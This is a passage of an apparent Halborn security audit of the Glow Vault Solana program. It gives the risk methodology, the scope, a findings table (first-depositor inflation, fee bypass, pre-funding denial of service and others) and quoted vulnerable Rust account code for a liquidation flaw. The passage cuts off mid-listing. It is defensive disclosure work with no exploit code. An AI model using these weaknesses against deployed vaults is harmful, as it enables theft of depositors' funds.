

Glow Vault Program (Full Re-Audit)

Blueprint Finance

HALBORN

Glow Vault Program (Full Re-Audit) - Blueprint Finance

Prepared by:  HALBORN

Last Updated 07/10/2026

Date of Engagement: May 13th, 2026 - June 2nd, 2026

Summary

100% ⓘ OF ALL REPORTED FINDINGS HAVE BEEN ADDRESSED

ALL FINDINGS	CRITICAL	HIGH	MEDIUM	LOW	INFORMATIONAL
11	0	0	3	6	2

TABLE OF CONTENTS

- 1. Introduction
- 2. Assessment summary
- 3. Test approach and methodology
 - 3.1 Limitations of proof-of-concept demonstrations
- 4. Risk methodology
- 5. Scope
- 6. Assessment summary & findings overview
- 7. Findings & Tech Details
 - 7.1 Transferable vault positions in margin accounts cannot be liquidated
 - 7.2 First depositor can inflate exchange rate via donation and balance sync
 - 7.3 Users can bypass performance fee via multiple token accounts
 - 7.4 Instant liquidation does not record performance fees
 - 7.5 Pda pre-funding dos blocks vault creation and locked deposits
 - 7.6 No instruction exists to withdraw accrued protocol fees from vault
 - 7.7 Margin transfer_deposit bypasses non-transferable vault restrictions
 - 7.8 Missing wallet_usd_value validation enables nav manipulation
 - 7.9 Instant liquidation does not release reserved withdrawal amounts
 - 7.10 Missing write_adapter_result in locked deposit and claim paths
 - 7.11 Several areas of the vault program can be improved

1. Introduction

The **Glow team** engaged **Halborn** to conduct a security assessment on their Glow **Vault Solana program** beginning on May 13th 2026, and ending on June 2nd, 2026. The security assessment was scoped to the Solana Programs provided in [glow-v1](#) GitHub repository. Commit hashes and further details can be found in the Scope section of this report.

The **Glow Vault** program allows users to deposit funds that are then operated by designated parties to earn returns. Users deposit funds via direct deposits or margin account transfers into the vault, and are minted a vault token representing shares of the vault. The program charges management and performance fees at the time of withdrawal.

2. Assessment Summary

Halborn was provided 15 days for the engagement and assigned 2 full-time security engineers to review the security of the Solana Programs in scope. The engineers are blockchain and smart contract security experts with advanced smart contract hacking skills, and deep knowledge of multiple blockchain protocols.

The purpose of the assessment is to:

- Identify potential security issues within the Solana Programs.
- Ensure that smart contract functionality operates as intended.

In summary, **Halborn** identified several improvements to reduce the likelihood and impact of risks. The **Glow** team addressed the findings and acknowledged one low-severity finding, which is mitigated through appropriate monitoring and off-chain validation. The main findings are the following:

- Decrement `vault.reserved_withdrawal_shares` and `vault.reserved_withdrawal_tokens` in Margin Instant Liquidation instruction
- Use `vault_user.total_shares + deposit_shares` as the denominator in the weighted-average watermark formula
- increment `vault.realised_performance_fees` and restore `vault.deposit_tokens` with the withheld performance fee amount in Margin Instant Liquidation instruction
- Mark the `vault_user` account optional in `margin_instant_vault_liquidation_handler` instruction
- Initialize `minimum_shares_dust_threshold` to a meaningful default
- Implement a fee withdrawal instruction that transfers accrued fee from the vault
- For creating token accounts, ensure sufficient balance for rent exemption, reallocate the account and assign to the correct program
- Require `DENY_TRANSFERS` constraint on the margin account interacting with the Non-Transferable vault
- Whitelist strategies that can be evaluated on-chain for correct and predictable valuations.

3. Test Approach And Methodology

Halborn performed a combination of a manual review of the source code and automated security testing to balance efficiency, timeliness, practicality, and accuracy in regard to the scope of the program assessment. While manual testing is recommended to uncover flaws in business logic, processes, and implementation; automated testing techniques help enhance coverage of programs and can quickly identify items that do not follow security best practices.

The following phases and associated tools were used throughout the term of the assessment:

- Research into the architecture, purpose, and use of the platform.
- Manual program source code review to identify business logic issues.
- Mapping out possible attack vectors
- Thorough assessment of safety and usage of critical Rust variables and functions in scope that could lead to arithmetic vulnerabilities.
- Scanning dependencies for known vulnerabilities (`cargo audit`).
- Local runtime testing (`anchor test` , `cargo test`)

3.1 Limitations Of Proof-Of-Concept Demonstrations

This audit does not include proof-of-concept (PoC) exploits for the findings related to margin instructions. The project's local testing environment is complex, involves multiple programs, and margin integration remains under active development, making end-to-end reproduction impractical within the audit timeframe. As a result, the reported findings focus on describing potential vulnerabilities and their impact rather than providing complete exploit code.

4. RISK METHODOLOGY

Every vulnerability and issue observed by Halborn is ranked based on **two sets of Metrics** and a **Severity Coefficient**. This system is inspired by the industry standard Common Vulnerability Scoring System.

The two **Metric sets** are: **Exploitability** and **Impact**. **Exploitability** captures the ease and technical means by which vulnerabilities can be exploited and **Impact** describes the consequences of a successful exploit.

The **Severity Coefficients** is designed to further refine the accuracy of the ranking with two factors: **Reversibility** and **Scope**. These capture the impact of the vulnerability on the environment as well as the number of users and smart contracts affected.

The final score is a value between 0-10 rounded up to 1 decimal place and 10 corresponding to the highest security risk. This provides an objective and accurate rating of the severity of security vulnerabilities in smart contracts.

The system is designed to assist in identifying and prioritizing vulnerabilities based on their level of risk to address the most critical issues in a timely manner.

4.1 EXPLOITABILITY

ATTACK ORIGIN (AO):

Captures whether the attack requires compromising a specific account.

ATTACK COST (AC):

Captures the cost of exploiting the vulnerability incurred by the attacker relative to sending a single transaction on the relevant blockchain. Includes but is not limited to financial and computational cost.

ATTACK COMPLEXITY (AX):

Describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Includes but is not limited to macro situation, available third-party liquidity and regulatory challenges.

METRICS:

EXPLOITABILITY METRIC (M_E)	METRIC VALUE	NUMERICAL VALUE
Attack Origin (AO)	Arbitrary (AO:A) Specific (AO:S)	1 0.2
Attack Cost (AC)	Low (AC:L) Medium (AC:M) High (AC:H)	1 0.67 0.33

EXPLOITABILITY METRIC (M_E)	METRIC VALUE	NUMERICAL VALUE
Attack Complexity (AX)	Low (AX:L) Medium (AX:M) High (AX:H)	1 0.67 0.33

Exploitability E is calculated using the following formula:

$$E = \prod m_e$$

4.2 IMPACT

CONFIDENTIALITY (C):

Measures the impact to the confidentiality of the information resources managed by the contract due to a successfully exploited vulnerability. Confidentiality refers to limiting access to authorized users only.

INTEGRITY (I):

Measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of data stored and/or processed on-chain. Integrity impact directly affecting Deposit or Yield records is excluded.

AVAILABILITY (A):

Measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. This metric refers to smart contract features and functionality, not state. Availability impact directly affecting Deposit or Yield is excluded.

DEPOSIT (D):

Measures the impact to the deposits made to the contract by either users or owners.

YIELD (Y):

Measures the impact to the yield generated by the contract for either users or owners.

METRICS:

IMPACT METRIC (M_I)	METRIC VALUE	NUMERICAL VALUE
Confidentiality (C)	None (C:N) Low (C:L) Medium (C:M) High (C:H) Critical (C:C)	0 0.25 0.5 0.75 1

Impact Metric (M_I)	Metric Value	Numerical Value
Integrity (I)	None (I:N)	0
	Low (I:L)	0.25
	Medium (I:M)	0.5
	High (I:H)	0.75
	Critical (I:C)	1
Availability (A)	None (A:N)	0
	Low (A:L)	0.25
	Medium (A:M)	0.5
	High (A:H)	0.75
	Critical (A:C)	1
Deposit (D)	None (D:N)	0
	Low (D:L)	0.25
	Medium (D:M)	0.5
	High (D:H)	0.75
	Critical (D:C)	1
Yield (Y)	None (Y:N)	0
	Low (Y:L)	0.25
	Medium (Y:M)	0.5
	High (Y:H)	0.75
	Critical (Y:C)	1

Impact I is calculated using the following formula:

$$I = max(m_I) + \frac{\sum m_I - max(m_I)}{4}$$

4.3 SEVERITY COEFFICIENT

REVERSIBILITY (R):

Describes the share of the exploited vulnerability effects that can be reversed. For upgradeable contracts, assume the contract private key is available.

SCOPE (S):

Captures whether a vulnerability in one vulnerable contract impacts resources in other contracts.

METRICS:

Severity Coefficient (C)	Coefficient Value	Numerical Value
Reversibility (r)	None (R:N)	1
	Partial (R:P)	0.5
	Full (R:F)	0.25
Scope (s)	Changed (S:C)	1.25
	Unchanged (S:U)	1

Severity Coefficient *C* is obtained by the following product:

$$C = rs$$

The Vulnerability Severity Score *S* is obtained by:

$$S = \min(10, EIC * 10)$$

The score is rounded up to 1 decimal places.

SEVERITY	SCORE VALUE RANGE
Critical	9 - 10
High	7 - 8.9
Medium	4.5 - 6.9
Low	2 - 4.4
Informational	0 - 1.9

5. SCOPE

REPOSITORY

(a) Repository: [glow-v1](#)

(b) Assessed Commit ID: 4f52812

(c) Items in scope:

- `programs/vault/AUTHORITY.md`
- `programs/vault/Cargo.toml`
- `programs/vault/ORACLE.md`
- `programs/vault/FEES.md`
- `programs/vault/CRANKS.md`
- `programs/vault/Xargo.toml`
- `programs/vault/src/instructions/admin/propose_account_change.rs`
- `programs/vault/src/instructions/admin/configure_vault.rs`
- `programs/vault/src/instructions/admin/assign_vault_operator_admin.rs`
- `programs/vault/src/instructions/admin/accrue_performance_fees.rs`
- `programs/vault/src/instructions/admin/mod.rs`
- `programs/vault/src/instructions/admin/create_vault.rs`
- `programs/vault/src/instructions/admin/update_share_token_metadata.rs`
- `programs/vault/src/instructions/admin/migrate_pending_withdrawals.rs`
- `programs/vault/src/instructions/admin/configure_epoch_tracker.rs`
- `programs/vault/src/instructions/admin/accept_account_change.rs`
- `programs/vault/src/instructions/user/deposit_transferable.rs`
- `programs/vault/src/instructions/user/create_vault_pending_withdrawal.rs`
- `programs/vault/src/instructions/user/cancel_vault_pending_withdrawal.rs`
- `programs/vault/src/instructions/user/execute_transferable_withdrawal.rs`
- `programs/vault/src/instructions/user/deposit.rs`
- `programs/vault/src/instructions/user/close_pending_withdrawal.rs`
- `programs/vault/src/instructions/user/initiate_transferable_withdrawal.rs`
- `programs/vault/src/instructions/user/initiate_transferable_withdrawal_from_custody.rs`
- `programs/vault/src/instructions/user/mod.rs`
- `programs/vault/src/instructions/user/cancel_transferable_pending_withdrawal.rs`
- `programs/vault/src/instructions/user/close_pending_deposits.rs`
- `programs/vault/src/instructions/user/initiate_withdrawal.rs`
- `programs/vault/src/instructions/user/execute_vault_withdrawal.rs`
- `programs/vault/src/instructions/user/claim_deposited_shares.rs`
- `programs/vault/src/instructions/margin/mod.rs`
- `programs/vault/src/instructions/margin/margin_instant_liquidation.rs`
- `programs/vault/src/instructions/margin/initialize_margin.rs`
- `programs/vault/src/instructions/valuation/update_vault_balances.rs`
- `programs/vault/src/instructions/valuation/update_operator_wallet_position.rs`
- `programs/vault/src/instructions/valuation/mod.rs`

- `programs/vault/src/instructions/valuation/update_operator_margin_account_position.rs`
- `programs/vault/src/instructions/operator/operator_deposit_to_vault.rs`
- `programs/vault/src/instructions/operator/create_operator_margin_account.rs`
- `programs/vault/src/instructions/operator/operator_withdraw_from_vault.rs`
- `programs/vault/src/instructions/operator/mod.rs`
- `programs/vault/src/instructions/operator/operator_transfer_from_margin.rs`
- `programs/vault/src/instructions/operator/close_operator_margin_account.rs`
- `programs/vault/src/instructions/operator/operator_transfer_to_margin.rs`
- `programs/vault/src/instructions.rs`
- `programs/vault/src/events.rs`
- `programs/vault/src/lib.rs`
- `programs/vault/src/utis`
- `programs/vault/src/utis/tokens.rs`
- `programs/vault/src/utis/margin_accounts.rs`
- `programs/vault/src/utis/mod.rs`
- `programs/vault/src/state/operator.rs`
- `programs/vault/src/state/proposal.rs`
- `programs/vault/src/state/operator_position.rs`
- `programs/vault/src/state/pending_deposits.rs`
- `programs/vault/src/state/mod.rs`
- `programs/vault/src/state/epoch_tracker.rs`
- `programs/vault/src/state/vault_user.rs`
- `programs/vault/src/state/pending_withdrawals.rs`
- `programs/vault/src/state/vault.rs`
- `programs/vault/src/seeds.rs`
- `libraries/rust/program-common/src/number_128.rs`
- `libraries/rust/program-common/src/oracle.rs`
- `libraries/rust/program-common/src/traits.rs`

Out-of-Scope: External Dependencies and Third-party libraries., External Integration with Margin Programs., Oracle Manipulation Attack Vectors

FILE



(a) Submitted File: `glow-v1-4f528129c2d1b4903b8ac00251ce57de719ae0ec.zip`

(b) Items in scope:

- `/glow-v1-4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/src/instructions/admin/accept_account_change.rs`
- `/glow-v1-4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/src/instructions/admin/ac crue_performance_fees.rs`
- `/glow-v1-4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/src/instructions/admin/ass`

ign_vault_operator_admin.rs

- /glow-v1-

4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/src/instructions/admin/configure_epoch_tracker.rs

- /glow-v1-

4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/src/instructions/admin/configure_vault.rs

- /glow-v1-

4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/src/instructions/admin/create_vault.rs

- /glow-v1-

4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/src/instructions/admin/migrate_pending_withdrawals.rs

- /glow-v1-

4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/src/instructions/admin/mod.rs

- /glow-v1-

4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/src/instructions/admin/propose_account_change.rs

- /glow-v1-

4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/src/instructions/admin/update_share_token_metadata.rs

- /glow-v1-

4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/src/instructions/margin/initialize_margin.rs

- /glow-v1-

4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/src/instructions/margin/margin_instant_liquidation.rs

- /glow-v1-

4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/src/instructions/margin/mod.rs

- /glow-v1-

4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/src/instructions/operator/close_operator_margin_account.rs

- /glow-v1-

4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/src/instructions/operator/create_operator_margin_account.rs

- /glow-v1-

4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/src/instructions/operator/mod.rs

- /glow-v1-

4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/src/instructions/operator/operator_deposit_to_vault.rs

- /glow-v1-

4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/src/instructions/operator/operator_transfer_from_margin.rs

- /glow-v1-4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/src/instructions/operator/operator_transfer_to_margin.rs
- /glow-v1-4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/src/instructions/operator/operator_withdraw_from_vault.rs
- /glow-v1-4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/src/instructions/user/cancel_transferable_pending_withdrawal.rs
- /glow-v1-4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/src/instructions/user/cancel_vault_pending_withdrawal.rs
- /glow-v1-4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/src/instructions/user/claim_deposited_shares.rs
- /glow-v1-4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/src/instructions/user/close_pending_deposits.rs
- /glow-v1-4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/src/instructions/user/close_pending_withdrawal.rs
- /glow-v1-4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/src/instructions/user/create_vault_pending_withdrawal.rs
- /glow-v1-4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/src/instructions/user/deposit_transferable.rs
- /glow-v1-4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/src/instructions/user/deposit.rs
- /glow-v1-4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/src/instructions/user/execute_transferable_withdrawal.rs
- /glow-v1-4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/src/instructions/user/execute_vault_withdrawal.rs
- /glow-v1-4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/src/instructions/user/initiate_transferable_withdrawal_from_custody.rs
- /glow-v1-4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/src/instructions/user/initiate_transferable_withdrawal.rs
- /glow-v1-4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/src/instructions/user/initiate_withdrawal.rs

- /glow-v1-4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/src/instructions/user/mod.rs
- /glow-v1-4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/src/instructions/valuation/mod.rs
- /glow-v1-4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/src/instructions/valuation/update_operator_margin_account_position.rs
- /glow-v1-4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/src/instructions/valuation/update_operator_wallet_position.rs
- /glow-v1-4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/src/instructions/valuation/update_vault_balances.rs
- /glow-v1-4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/src/state/epoch_tracker.rs
- /glow-v1-4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/src/state/mod.rs
- /glow-v1-4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/src/state/operator_position.rs
- /glow-v1-4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/src/state/operator.rs
- /glow-v1-4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/src/state/pending_deposits.rs
- /glow-v1-4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/src/state/pending_withdrawals.rs
- /glow-v1-4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/src/state/proposal.rs
- /glow-v1-4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/src/state/vault_user.rs
- /glow-v1-4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/src/state/vault.rs
- /glow-v1-4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/src/utils/margin_accounts.rs
- /glow-v1-4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/src/utils/mod.rs
- /glow-v1-4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/src/utils/tokens.rs
- /glow-v1-4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/src/events.rs
- /glow-v1-4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/src/instructions.rs

- /glow-v1-4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/src/lib.rs
- /glow-v1-4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/src/seeds.rs
- /glow-v1-4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/AUTHORITY.md
- /glow-v1-4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/Cargo.toml
- /glow-v1-4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/CRANKS.md
- /glow-v1-4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/FEES.md
- /glow-v1-4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/ORACLE.md
- /glow-v1-4f528129c2d1b4903b8ac00251ce57de719ae0ec/programs/vault/Xargo.toml
- /glow-v1-4f528129c2d1b4903b8ac00251ce57de719ae0ec/docs/solayer-staking-flow.md
- /glow-v1-4f528129c2d1b4903b8ac00251ce57de719ae0ec/libraries/rust/program-common/src/number_128.rs
- /glow-v1-4f528129c2d1b4903b8ac00251ce57de719ae0ec/libraries/rust/program-common/src/oracle.rs
- /glow-v1-4f528129c2d1b4903b8ac00251ce57de719ae0ec/libraries/rust/program-common/src/traits.rs

REMEDATION COMMIT ID:



- b3cdc47
- d36a76c
- 383ac21
- fcdfe27
- d31d6ce
- 5409978

Out-of-Scope: New features/implementations after the remediation commit IDs.

6. ASSESSMENT SUMMARY & FINDINGS OVERVIEW



SECURITY ANALYSIS	RISK LEVEL	REMEDIATION DATE
TRANSFERABLE VAULT POSITIONS IN MARGIN ACCOUNTS CANNOT BE LIQUIDATED	MEDIUM	SOLVED - 06/16/2026
FIRST DEPOSITOR CAN INFLATE EXCHANGE RATE VIA DONATION AND BALANCE SYNC	MEDIUM	SOLVED - 06/16/2026
USERS CAN BYPASS PERFORMANCE FEE VIA MULTIPLE TOKEN ACCOUNTS	MEDIUM	SOLVED - 06/09/2026
INSTANT LIQUIDATION DOES NOT RECORD PERFORMANCE FEES	LOW	SOLVED - 06/16/2026
PDA PRE-FUNDING DOS BLOCKS VAULT CREATION AND LOCKED DEPOSITS	LOW	SOLVED - 06/08/2026
NO INSTRUCTION EXISTS TO WITHDRAW ACCRUED PROTOCOL FEES FROM VAULT	LOW	SOLVED - 06/17/2026
MARGIN TRANSFER_DEPOSIT BYPASSES NON-TRANSFERABLE VAULT RESTRICTIONS	LOW	SOLVED - 06/16/2026
MISSING WALLET_USD_VALUE VALIDATION ENABLES NAV MANIPULATION	LOW	RISK ACCEPTED - 06/17/2026
INSTANT LIQUIDATION DOES NOT RELEASE RESERVED WITHDRAWAL AMOUNTS	LOW	SOLVED - 06/16/2026
MISSING WRITE_ADAPTER_RESULT IN LOCKED DEPOSIT AND CLAIM PATHS	INFORMATIONAL	SOLVED - 06/16/2026

SECURITY ANALYSIS	RISK LEVEL	REMEDIATION DATE
SEVERAL AREAS OF THE VAULT PROGRAM CAN BE IMPROVED	INFORMATIONAL	SOLVED - 06/17/2026

7. FINDINGS & TECH DETAILS

7.1 TRANSFERABLE VAULT POSITIONS IN MARGIN ACCOUNTS CANNOT BE LIQUIDATED

// MEDIUM

Description

The `deposit_to_transferable_vault_handler` instruction allows users, including margin accounts, to deposit tokens into a transferable vault in exchange for share tokens. Unlike regular vaults that track performance fees via a VaultUser PDA account, transferable vaults intentionally do not create or require a VaultUser account because they have no performance fees and shares are held directly in the depositor's token account. The `margin_instant_vault_liquidation_handler` instruction enables liquidators to liquidate vault shares held by an unhealthy margin account.

However, the `margin_instant_vault_liquidation_handler` always requires a VaultUser PDA account (seeded by `[VAULT_USER_SEED, vault, margin_account]`) to exist for the margin account being liquidated even when deposited into `Transferable` vaults. As a result, margin accounts holding transferable vault shares cannot be liquidated through the instant liquidation path and expose the protocol to bad debt

[programs/vault/src/instructions/margin/margin_instant_liquidation.rs](#)

 Copy Code

```
39 #[derive(Accounts)]
40 pub struct MarginInstantVaultLiquidation<'info> {
41     /// Margin account being liquidated.
42     #[account(mut, signer)]
43     pub margin_account: AccountLoader<'info, MarginAccount>,
44
45     /// Active liquidator driving this withdrawal.
46     pub liquidator: Signer<'info>,
47
48     /// The vault PDA that owns pooled funds and mints shares.
49     #[account(
50         mut,
51         seeds = [
52             VAULT_SEED,
53             vault.load()?.airspace.as_ref(),
54             underlying_mint.key().as_ref(),
55             vault.load()?.vault_index.as_ref()
56         ],
57         bump,
58         has_one = share_mint,
59         constraint = vault.load()?.flags.contains(VaultFeatureFlags::WITHDRAWALS_ENABLED)
60         @ crate::ErrorCode::VaultPermissionDenied,
61     )]
62     pub vault: AccountLoader<'info, Vault>,
63
64     /// Per-margin-account watermark state.
65     #[account(
66         mut,
67         seeds = [VAULT_USER_SEED, vault.key().as_ref(), margin_account.key().as_ref()],
68         bump,
69     )]
70     pub vault_user: Box<Account<'info, VaultUser>>,
71
72     /// Per-margin pending withdrawals that may be consumed during liquidation
73     #[account(
74
```

```

75     mut,
76     seeds = [
77         VAULT_PENDING_WITHDRAWALS_SEED,
78         vault.key().as_ref(),
79         margin_account.key().as_ref()
80     ],
81     bump,
82 ])
83 pub pending_withdrawals: Box<Account<'info, PendingWithdrawals>>,
84
85 /// Custody account that escrows pending withdrawal shares
86 #[account(
87     mut,
88     seeds = [VAULT_PENDING_WITHDRAWALS_CUSTODY_SEED, vault.key().as_ref()],
89     bump,
90 )]
91 pub vault_pending_withdrawals_custody: AccountInfo<'info>,
92
93 /// Share mint (what the vault issued on deposit).
94 #[account(
95     mut,
96     seeds = [VAULT_DEPOSIT_MINT_SEED, vault.key().as_ref()],
97     bump,
98     mint::token_program = mint_token_program,
99 )]
100 pub share_mint: Box<InterfaceAccount<'info, Mint>>,
101
102 /// Underlying asset mint.
103 #[account(
104     mint::token_program = underlying_mint_token_program,
105 )]
106 pub underlying_mint: Box<InterfaceAccount<'info, Mint>>,
107
108 /// Margin-owned share ATA that holds vault shares.
109 #[account(
110     mut,
111     token::mint = share_mint,
112     token::authority = margin_account,
113 )]
114 pub margin_share_token_account: Box<InterfaceAccount<'info, TokenAccount>>,
115
116 /// Margin-owned underlying ATA receiving the withdrawn assets.
117 #[account(
118     mut,
119     token::mint = underlying_mint,
120     token::authority = margin_account,
121     token::token_program = underlying_mint_token_program,
122 )]
123 pub margin_underlying_token_account: Box<InterfaceAccount<'info, TokenAccount>>,
124
125 /// Vault reserve that escrows underlying assets.
126 #[account(
127     mut,
128     seeds = [VAULT_UNDERLYING_RESERVE_SEED, vault.key().as_ref()],
129     bump,
130 )]
131 pub vault_reserve: Box<InterfaceAccount<'info, TokenAccount>>,
132
133 /// Token program matching the share mint.
134 pub mint_token_program: Interface<'info, TokenInterface>,
135 /// Token program matching the underlying mint.
136 pub underlying_mint_token_program: Interface<'info, TokenInterface>,
137 }

```

[programs/vault/src/instructions/user/deposit_transferable.rs](#)

 Copy Code

```

42 /// Deposit into a transferable vault. No VaultUser account is required because
43 /// transferable vaults have no performance fees and shares are held directly
44 /// in the depositor's wallet (or escrowed if DEPOSIT_TIME_LOCK_ENABLED is set).
45 #[derive(Accounts)]
46 pub struct DepositToTransferableVault<'info> {
47     /// Pays for any accounts created during this instruction
48     #[account(mut)]
49

```

```

50 pub payer: Signer<'info>,
51
52 /// The authority providing assets (can be a wallet or a margin account)
53 pub depositor: Signer<'info>,
54
55 /// The vault PDA that owns pooled funds and mints shares
56 #[account(
57     mut,
58     seeds = [
59         crate::seeds::VAULT_SEED,
60         vault.load()?.airspace.as_ref(),
61         underlying_mint.key().as_ref(),
62         vault.load()?.vault_index.as_ref()
63     ],
64     bump,
65     has_one = share_mint,
66     has_one = underlying_mint,
67     constraint = vault.load()?.flags.contains(VaultFeatureFlags::DEPOSITS_ENABLED) @ crate
68     constraint = vault.load()?.is_transferable() @ crate::ErrorCode::VaultPermissionDenied
69 )]
70 pub vault: AccountLoader<'info, Vault>,
71
72 /// Share mint (what users receive for deposits)
73 #[account(
74     mut,
75     seeds = [VAULT_DEPOSIT_MINT_SEED, vault.key().as_ref()],
76     bump,
77     mint::token_program = share_token_program,
78 )]
79 pub share_mint: Box<InterfaceAccount<'info, Mint>>,
80
81 /// Underlying mint that is deposited
82 #[account(
83     mint::token_program = underlying_mint_token_program,
84 )]
85 pub underlying_mint: Box<InterfaceAccount<'info, Mint>>,
86
87 /// The depositor's token account holding the underlying asset
88 #[account(
89     mut,
90     token::mint = underlying_mint,
91     token::authority = depositor,
92 )]
93 pub depositor_underlying_token_account: Box<InterfaceAccount<'info, TokenAccount>>,
94
95 /// Share token account to receive newly minted shares (non-locked flow only).
96 /// Must be owned by the depositor's wallet or margin account.
97 /// Pass as `None` (system program) for locked deposits.
98 #[account(
99     mut,
100     token::mint = share_mint,
101     token::authority = depositor,
102 )]
103 pub share_token_account: Option<Box<InterfaceAccount<'info, TokenAccount>>>,
104
105 /// The vault's pooled token account for the underlying asset
106 #[account(
107     mut,
108     seeds = [VAULT_UNDERLYING_RESERVE_SEED, vault.key().as_ref()],
109     bump
110 )]
111 pub vault_reserve: Box<InterfaceAccount<'info, TokenAccount>>,
112
113 /// Per-depositor pending deposits record (locked flow only).
114 /// Created on the first locked deposit via init_if_needed.
115 #[account(
116     init_if_needed,
117     payer = payer,
118     space = 8 + PendingDeposits::INIT_SPACE,
119     seeds = [VAULT_PENDING_DEPOSITS_SEED, vault.key().as_ref(), depositor.key().as_ref()],
120     bump,
121 )]
122 pub pending_deposits: Option<Box<Account<'info, PendingDeposits>>>,
123
124 /// Vault-owned token account that escrows minted shares during the delivery lock period
125 /// (locked flow only). Lazily initialized on the first locked deposit.
126 /// Pass as `None` (system program) for non-locked deposits.
127 #[account(

```

```

128     mut,
129     seeds = [VAULT_PENDING_DEPOSITS_CUSTODY_SEED, vault.key().as_ref()],
130     bump,
131 )]
132 pub vault_pending_deposits_custody: Option<UncheckedAccount<'info>>,
133
134 pub underlying_mint_token_program: Interface<'info, TokenInterface>,
135 pub share_token_program: Interface<'info, TokenInterface>,
136
137 pub system_program: Program<'info, System>,
  }

```

programs/vault/src/instructions/user/deposit.rs

 Copy Code

```

46 #[derive(Accounts)]
47 pub struct DepositToVault<'info> {
48     /// Pays for any accounts created during this instruction
49     #[account(mut)]
50     pub payer: Signer<'info>,
51
52     /// The authority providing assets (can be a wallet or a margin account)
53     pub depositor: Signer<'info>,
54
55     /// The vault PDA that owns pooled funds and mints shares
56     #[account(
57         mut,
58         seeds = [
59             crate::seeds::VAULT_SEED,
60             vault.load()?.airspace.as_ref(),
61             underlying_mint.key().as_ref(),
62             vault.load()?.vault_index.as_ref()
63         ],
64         bump,
65         has_one = share_mint,
66         has_one = underlying_mint,
67         constraint = vault.load()?.flags.contains(VaultFeatureFlags::DEPOSITS_ENABLED) @ crate::ErrorCode::VaultPermissionDenied,
68         constraint = !vault.load()?.is_transferable() @ crate::ErrorCode::VaultPermissionDenied
69     )]
70     pub vault: AccountLoader<'info, Vault>,
71
72     /// Share mint (what users receive for deposits)
73     #[account(
74         mut,
75         seeds = [VAULT_DEPOSIT_MINT_SEED, vault.key().as_ref()],
76         bump,
77         mint::token_program = share_token_program,
78     )]
79     pub share_mint: Box<InterfaceAccount<'info, Mint>>,
80
81     /// Underlying mint that is deposited
82     #[account(
83         mint::token_program = underlying_mint_token_program,
84     )]
85     pub underlying_mint: Box<InterfaceAccount<'info, Mint>>, // asset mint
86
87     /// The depositor's token account holding the underlying asset
88     #[account(
89         mut,
90         token::mint = underlying_mint,
91         token::authority = depositor,
92     )]
93     pub depositor_underlying_token_account: Box<InterfaceAccount<'info, TokenAccount>>,
94
95     /// Flexible share token account to receive newly minted shares
96     /// If depositing as a wallet: must be owned by depositor
97     /// If depositing on behalf of a margin account: must be owned by the margin account
98     #[account(
99         mut,
100         token::mint = share_mint,
101     )]
102     pub share_token_account: Box<InterfaceAccount<'info, TokenAccount>>,
103
